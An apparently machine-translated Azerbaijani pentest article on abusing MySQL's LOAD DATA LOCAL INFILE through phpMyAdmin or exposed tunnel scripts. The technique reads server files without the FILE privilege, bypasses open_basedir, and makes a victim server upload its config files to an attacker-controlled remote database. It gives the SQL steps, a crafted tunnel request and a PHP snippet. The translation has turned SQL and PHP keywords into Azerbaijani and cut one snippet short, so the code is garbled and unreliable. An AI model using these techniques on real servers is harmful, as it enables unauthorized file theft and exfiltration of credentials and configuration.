Mən kifayət qədər ümumi vəziyyəti təsvir edirəm. Pentest zamanı uzaq hostda phpMyAdmin-ə giriş əldə edildi, lakin fayllara onun vasitəsilə daxil olmaq mümkün olmadı. Bədnam FILE_PRIV=MySQL demon parametrlərində heç bir bayraq hər şeydə günahkardır. Bu vəziyyətdə çoxları imtina edir və hostdakı faylların artıq bu şəkildə oxuna bilməyəcəyinə inanır. Amma həmişə belə olmur.

XƏBƏRDARLIQ

Bütün məlumatlar yalnız məlumat məqsədləri üçün verilir. Nə redaktorlar, nə də müəllif bu məqalənin materiallarının vurduğu hər hansı mümkün zərərə görə məsuliyyət daşımır.

Prelüd

MySQL DBMS-nin fayl sistemi ilə qarşılıqlı əlaqəsinə gəldikdə, onlar adətən xatırlayırlar:

  • serverdəki faylları oxumağa imkan verən LOAD_FILE funksiyası;
  • SELECT ... INTO OUTFILE konstruksiyasından yeni fayllar yaratmaq üçün istifadə oluna bilər.

Müvafiq olaraq, phpMyAdmin və ya uzaq bir maşında hər hansı digər müştəriyə giriş əldə edirsinizsə, o zaman yüksək ehtimalla MySQL vasitəsilə fayl sisteminə daxil ola bilərsiniz. Ancaq yalnız FILE_PRIV=yes bayrağı demon parametrlərində qoyulsa, bu həmişə belə olmur. Bu vəziyyətdə, daha az tanınan, lakin eyni zamanda kifayət qədər güclü funksionallığa malik olan başqa bir operator haqqında xatırlamalıyıq. Mən LOAD DATA INFILE bəyanatından danışıram, onun xüsusiyyətləri bu məqalədə müzakirə olunacaq.

PHP və MySQL arasında qarşılıqlı əlaqə

PHP veb proqramları yaratmaq üçün ən çox istifadə olunan dildir, ona görə də onun verilənlər bazası ilə necə qarşılıqlı əlaqədə olduğuna daha yaxından nəzər salmağa dəyər.

PHP4-də MySQL müştəri kitabxanaları defolt olaraq daxil edilib və PHP paylanmasına daxil edilib, ona görə də quraşdırma zamanı siz yalnız seçimi təyin etməklə MySQL-dən istifadə etməkdən imtina edə bilərsiniz.

mysql olmadan.

PHP5 müştəri kitabxanası olmadan gəlir. *nix sistemlərində PHP5 adətən serverdə artıq quraşdırılmış libmysqlclient kitabxanası ilə, sadəcə olaraq seçimi təyin etməklə qurulur.

MySQL=/usr ilə

montaj zamanı. Eyni zamanda, 5.3 versiyasından əvvəl MySQL serveri ilə qarşılıqlı əlaqədə olmaq üçün aşağı səviyyəli MySQL Müştəri Kitabxanasından (libmysql) istifadə olunur, PHP proqramları ilə ünsiyyət üçün optimallaşdırılmamış interfeys.

MySQL Native Driver (mysqlnd) PHP 5.3 və daha yüksək versiyalar üçün işlənib hazırlanmışdır və PHP 5.4-ün son buraxılışı defolt olaraq bu drayverdən istifadə edir. Daxili MySQL sürücüsü PHP uzantısı kimi yazılsa da, onun PHP proqramçısına yeni API təqdim etmədiyini başa düşmək lazımdır. Proqramçı üçün MySQL verilənlər bazası API MySQL, mysqli və PDO_MYSQL genişləndirmələri tərəfindən təmin edilir. Bu uzantılar MySQL demonu ilə əlaqə saxlamaq üçün daxili MySQL sürücüsündən istifadə edə bilər.

Daxili MySQL drayverindən istifadə MySQL müştəri kitabxanası ilə müqayisədə bəzi üstünlüklərə malikdir: məsələn, PHP qurmaq və ya verilənlər bazası ilə işləyən skriptlərdən istifadə etmək üçün MySQL-i quraşdırmanıza ehtiyac yoxdur. MySQL Native Driver və onun libmysql-dən fərqləri haqqında ətraflı məlumatı sənədlərdə tapa bilərsiniz.

MySQL, mysqli və PDO_MYSQL genişləndirmələri libmysql və ya mysqlnd-dən istifadə etmək üçün fərdi olaraq konfiqurasiya edilə bilər. Məsələn, MySQL genişlənməsini MySQL Müştəri Kitabxanasından istifadə etmək üçün konfiqurasiya etmək və MySQL Native Driver ilə işləmək üçün mysqli genişlənməsini konfiqurasiya etmək üçün aşağıdakı seçimləri təyin etməlisiniz:

`./configure --with-mysql=/usr/bin/mysql_config --with-mysqli=mysqlnd`

Sintaksis LOAD DATA

LOAD DATA bəyanatı, sənədlərdə deyildiyi kimi, fayldan sətirləri oxuyur və onları çox yüksək sürətlə cədvələ yükləyir. O, verilənlərin haradan yüklənəcəyini müəyyən edən LOCAL açar sözü ilə istifadə edilə bilər (MySQL 3.22.6 və sonrakı versiyalarda mövcuddur). LOCAL sözü yoxdursa, server göstərilən faylı müştərinin maşınından deyil, öz yerli maşınından cədvələ yükləyir. Yəni fayl MySQL müştərisi tərəfindən deyil, MySQL serveri tərəfindən oxunacaq. Lakin bu əməliyyat yenidən FILE imtiyazını tələb edir (FILE_PRIV=yes bayrağı). Bu vəziyyətdə ifadənin icrasını LOAD_FILE funksiyasından istifadə etməklə müqayisə etmək olar - yeganə fərq, məlumatların cədvələ yüklənməsi və göstərilməməsidir. Beləliklə, faylları oxumaq üçün LOAD DATA INFILE-dən istifadə yalnız LOAD_FILE funksiyası mövcud olmadıqda, yəni MySQL serverinin çox köhnə versiyalarında məna kəsb edir.

Ancaq ifadə bu formada istifadə olunursa: LOAD DATA LOCAL INFILE , yəni LOCAL sözündən istifadə etməklə, fayl artıq müştəri proqramı tərəfindən oxunur (müştərinin maşınında) və verilənlər bazasının yerləşdiyi serverə göndərilir. Eyni zamanda, FILE imtiyazı, əlbəttə ki, fayllara daxil olmaq üçün lazım deyil (çünki hər şey müştərinin maşınında olur).

MySQL/mysqli/PDO_MySQL genişləndirmələri və LOAD DATA LOCAL bəyanatı

MySQL genişləndirilməsində LOCAL istifadə etmək imkanı PHP_INI_SYSTEM mysql.allow_local_infile direktivi ilə idarə olunur. Varsayılan olaraq, bu direktiv 1 dəyərinə malikdir və buna görə də bizə lazım olan operator adətən mövcuddur. Həmçinin, mysql_connect funksiyası, əgər beşinci arqument sabit 128 olarsa, YERLİ MƏLUMAT YÜKLƏMƏNİN istifadəsini aktivləşdirməyə imkan verir.

PDO_MySQL genişləndirilməsi verilənlər bazasına qoşulmaq üçün istifadə edildikdə, biz həmçinin PDO::MYSQL_ATTR_LOCAL_INFILE (tam) sabitindən istifadə edərək YERLİ dəstəyi aktivləşdirə bilərik.

$pdo = yeni PDO("mysql:host=localhost;dbname=mydb", "istifadəçi", "pass", massiv(PDO::MYSQL_ATTR_LOCAL_INFILE => 1));

Lakin LOAD DATA bəyanatı ilə işləmək üçün ən böyük imkanlar mysqli genişləndirilməsi ilə təmin edilir. Bu genişləndirmə həmçinin LOCAL istifadəsini tənzimləyən PHP_INI_SYSTEM direktiv mysqli.allow_local_infile təmin edir.

Əgər əlaqə mysqli_real_connect vasitəsilə həyata keçirilirsə, o zaman mysqli_options köməyi ilə biz LOCAL dəstəyi həm aktivləşdirə, həm də söndürə bilərik. Üstəlik, bu genişlənmədə mysqli_set_local_infile_handler funksiyası mövcuddur ki, bu da LOAD DATA LOCAL INFILE bəyanatı ilə oxunan faylların məzmununu idarə etmək üçün geri çağırış funksiyasını qeydiyyatdan keçirməyə imkan verir.

Faylların oxunması

Diqqətli oxucu yəqin ki, artıq təxmin edib ki, əgər bizim phpMyAdmin-də hesabımız varsa, onda biz FILE imtiyazına malik olmadan ixtiyari faylları oxuya və hətta open_basedir məhdudiyyətlərini keçə biləcəyik. Axı, çox vaxt həm müştəri (bu halda, phpMyAdmin), həm də MySQL daemon eyni maşında olur. MySQL server təhlükəsizlik siyasətinin məhdudiyyətlərinə baxmayaraq, biz bu siyasətin müştəriyə şamil edilməməsindən istifadə edə bilərik və hələ də faylları sistemdən oxuyaraq onları verilənlər bazasına itələyə bilərik.

Alqoritm sadədir. Aşağıdakı SQL sorğularını yerinə yetirmək kifayətdir:

  1. Faylların məzmununu yazacağımız cədvəl yaradın: CREATE TABLE temp(content text);
  2. Yaradılmış cədvələ faylın məzmununu göndərin: DATA YERLİ INFILE "/etc/hosts" YÜKLƏYİN "eof" TARAFINDAN SON VERİLƏN CƏDVƏL temp SAHƏLƏRİNƏ YÜKLƏYİN "" "eof" TARAFINDAN XİTAM EDİLƏN "" SƏTİRLƏRİ İLƏ QAÇIN;

Voila. /etc/hosts faylının məzmunu indi müvəqqəti cədvəldədir. İkili faylları oxumaq lazımdır? Problem deyil. İlk addımda belə bir cədvəl yaratsaq:

CREATE TABLE "bin" ("bin" BLOB NOT NULL) ENGINE = MYISAM ;

onda ona binar faylları yükləmək mümkün olacaq. Düzdür, faylların sonuna əlavə bitlər əlavə olunacaq, lakin onlar istənilən hex redaktorda silinə bilər. Beləliklə, siz IonCube/Zend/TrueCrypt/NuSphere tərəfindən qorunan skriptləri serverdən yükləyə və onları deşifrə edə bilərsiniz.

LOAD DATA LOCAL INFILE-dən necə istifadə edə biləcəyinizin başqa bir nümunəsi Apache konfiqurasiyasına gedən yolu tapmaqdır. Bu aşağıdakı kimi edilir:

  1. Əvvəlcə binarın yolunu tapırıq, bunun üçün yuxarıda göstərildiyi kimi /proc/self/cmdline oxuyuruq.
  2. Və sonra biz HTTPD_ROOT/SERVER_CONFIG_FILE axtardığımız binar faylı birbaşa oxuyuruq.


Aydındır ki, bu vəziyyətdə phpMyAdmin skriptləri verilənlər bazasına qoşulmaq üçün müştəri rolunu oynayır. Və MySQL ilə işləmək üçün phpMyAdmin əvəzinə hər hansı digər veb interfeysdən istifadə edə bilərsiniz.

Məsələn, verilənlər bazasının ehtiyat nüsxəsini çıxarmaq və bərpa etmək üçün skriptlərdən istifadə edə bilərsiniz. Hələ 2007-ci ildə acidroot adlı fransız haker bu qeydə əsaslanaraq phpBB admin panelindən faylları oxumağa imkan verən istismarı dərc etdi.<= 2.0.22.

Tunel əlverişlidir. Tunel təhlükəlidir

Mürəkkəb veb proqramları quraşdırarkən, məsələn, skriptlərin ilkin konfiqurasiyası və tənzimlənməsi üçün çox vaxt verilənlər bazasına birbaşa giriş tələb olunur. Buna görə də, bəzi hallarda serverdə sadə skriptin - MySQL Tuneli adlanan, ağır çəkili phpMyAdmin əvəzinə rahat müştəridən istifadə edərək verilənlər bazasını sorğulamağa imkan verən quraşdırmaq məsləhət görülür.

Verilənlər bazası ilə işləmək üçün kifayət qədər tunellər var, lakin onların hamısı çox yaygın deyil. Bəlkə də ən məşhurlarından biri Macromedia Dream Weaver Server Skriptləridir. Bu skriptin mənbə koduna baxa bilərsiniz.

MySQL Tunnel və phpMyAdmin arasındakı əsas fərq verilənlər bazasından yalnız login və şifrəni deyil, həm də qoşulmaq istədiyiniz hostu daxil etmək ehtiyacıdır. Eyni zamanda, tunellər tez-tez aktiv qalır, yaxşı, hər halda, başqa nəyin tənzimlənməsi lazım olduğunu heç vaxt bilmirsiniz. Deyəsən, onlardan yalnız verilənlər bazasında hesabınız varsa istifadə edə bilərsiniz - onda niyə qorxmalısınız? Bir sözlə, görünür ki, tunel veb server üçün xüsusi təhlükəsizlik təhlükəsi yaratmır. Amma əslində hər şey ilk baxışdan göründüyü qədər yaxşı deyil.

Aşağıdakı vəziyyəti nəzərdən keçirin. A serverinə http://site.com/_mmServerScripts/MMHTTPDB.php tuneli olan site.com saytına icazə verin. Fərz edək ki, A serverində LOAD DATA LOCAL-dan istifadə etmək mümkündür (yuxarıda müzakirə edildiyi kimi, bu, məsələn, standart parametrlərlə mümkündür). Bu halda, verilənlər bazasına hər yerdən icazə verilən və həmçinin LOCAL istifadə etməyə imkan verən uzaq MySQL serverini götürə və tuneldən istifadə edərək bu serverə qoşula bilərik. Uzaq MySQL serverinə qoşulmaq üçün məlumatlar:

DB Host: xx.xx.xx.xxx DB Adı: name_remote_db DB İstifadəçi: our_user DB Pass: our_pass

Bu vəziyyətdə A serveri müştəri rolunu oynayacaq və buna görə də biz onun hostundan uzaq verilənlər bazasına faylları göndərə və ya başqa sözlə faylları oxuya bilərik. Aşağıdakı sadə sorğu ilə:

Növ=MYSQL&Timeout=100&Host=xx.xx.xx.xxx&Database=name_remote_db&İstifadəçiAdı=istifadəçimiz&Parol=our_pass&opCode=ExecuteSQL&SQL=YERLİ MƏLUMAT INFILE YÜKLƏYİN /path/to/options T_LETOINFILE /path/to/options. DS "__eof__" TARAFINDAN XİTAM EDİLDİ "" "__eof__" TARAFINDAN XİTAM EDİLƏN SƏTİRLƏR

Əslində, bu boşluq faylların adi oxunmasından daha təhlükəlidir: o, A serverində quraşdırılmış skriptlərin konfiqurasiya fayllarını oxumağa imkan verir. Eyni tunel vasitəsilə siz bu skriptləri idarə edən verilənlər bazasına birbaşa çıxış əldə edə bilərsiniz. Əzələ tunellərindən istifadə üçün yuxarıda təsvir edilən texnika bir qədər ümumiləşdirilə və seriyasız zəifliklərdən istifadə edərkən tətbiq oluna bilər.


müştəri-server

LOAD DATA imkanlarını daha yaxşı başa düşmək üçün MySQL DBMS-nin ənənəvi müştəri-server arxitekturasından istifadə etdiyini xatırlamaq lazımdır. MySQL ilə işləyərkən biz əslində iki proqramla işləyirik:

  • verilənlər bazası saxlanılan kompüterdə yerləşən verilənlər bazası server proqramı. mysqld demonu şəbəkə üzərindən müştəri sorğularını dinləyir və verilənlər bazasının məzmununa daxil olur, müştərilərin tələb etdiyi məlumatları təmin edir. Əgər mysqld --local-infile=0 ilə başlayıbsa, LOCAL işləməyəcək;
  • müştəri proqramı serverə qoşulur və serverə sorğular göndərir. MySQL DBMS paylanmasına bir neçə müştəri proqramları daxildir: MySQL konsol müştərisi (ən çox istifadə olunan), həmçinin mysqldump, mysqladmin, mysqlshow, mysqlimport və s. Lazım gələrsə, hətta MySQL DBMS ilə birlikdə gələn standart libmysql müştəri kitabxanası əsasında öz müştəri proqramınızı yarada bilərsiniz.

Standart MySQL klientindən istifadə edərkən YÜKLƏ MƏLUMAT YERLİ ifadəsindən istifadə etmək uğursuz olarsa, onda siz --local-infile keçidindən istifadə etməlisiniz:

Mysql --local-infile sampdb mysql> DATA YERLİ INFILE "member.txt" CƏDVƏL üzvünə YÜKLƏYİN;

Və ya /my.cnf faylında müştəri üçün seçim təyin edin:

local-infile=1

Qeyd etmək vacibdir ki, defolt olaraq bütün MySQL klientləri və kitabxanaları MySQL 3.23.48 və daha köhnə versiyalarla uyğunluğu təmin etmək üçün --enable-local-infile seçimi ilə tərtib edilir, ona görə də LOAD DATA LOCAL adətən standart müştərilər üçün əlçatan olur. Bununla belə, MySQL serverinə əmrlər əsasən konsoldan deyil, skriptlərdən göndərilir, buna görə də veb inkişaf dillərində standart MySQL müştərisindən funksionallıq baxımından fərqlənə bilən verilənlər bazası ilə işləmək üçün müştərilər də var.

Əlbəttə ki, LOAD DATA bəyanatının bu xüsusiyyəti sistem üçün təhlükəsizlik riski ola bilər və buna görə də MySQL 3.23.49 və MySQL 4.0.2 (Win-də 4.0.13) ilə başlayaraq LOCAL seçimi yalnız həm müştəri, həm də server olduqda işləyəcək. icazə ver.

Open_basedir məhdudiyyətlərini keçin

LOAD DATA-dan istifadə çox vaxt open_basedir məhdudiyyətlərini yan keçməyə imkan verir. Bu, məsələn, bir istifadəçinin paylaşılan hostinq kataloquna çıxışımız olsa, lakin başqa istifadəçinin ev kataloqundan skriptləri oxumaq istəsək faydalı ola bilər. Sonra bu skripti quraşdıraraq

1)); $e=$pdo->exec("YERLİ MƏLUMAT INFILE "./path/to/file" YÜKLƏ "__eof__" TARAFINDAN XİTAM EDİLƏN CƏDVƏL test SAHƏLƏRİNƏ "" "__eof__" TARAFINDAN XİTAM EDİLƏN "" SƏTİRLƏR TARAFINDAN QAÇILIR); $pdo = null; ?>

Nəticə

Maraqlıdır ki, LOAD DATA operatorunun təsvir edilən imkanları ən azı on ildir ki, məlumdur. Onun qeydi, məsələn, biletdə tapıla bilər [#15408] (Təhlükəsiz rejim / MySQL Vuln 2002-02-06) və sonra oxşar suallar bugs.php.net [#21356] [#23779] saytında dəfələrlə ortaya çıxdı. ] [#28632 ] [#31261] [#31711]. Tərtibatçılar aşağıdakı kimi cavab verdilər:

[email protected] Bu səhv deyil, bir xüsusiyyətdir :)

Və ya "Status: Düzəltməyəcək" bileti təyin edildi. Və ya onlar demək olar ki, heç nəyi həll etməyən yamaqlarla məhdudlaşırdılar. Bu mövzuda biletlər yenidən gündəmə gəldi. Buna görə də, open_basedir-dən yan keçməyin göstərilən üsulu hələ də kifayət qədər çox sayda serverdə işləyir. Bununla belə, yeni mysqlnd drayverinin meydana çıxması ilə, görünür, əhəmiyyətli dəyişikliklər etmək qərarı verildi: defolt parametrlərlə bu ifadə artıq heç [#54158] [#55737] yerinə yetirilməyəcək. Ümid edək ki, yaxın gələcəkdə tərtibatçılar bu məsələdə hər şeyi qaydasına salacaqlar.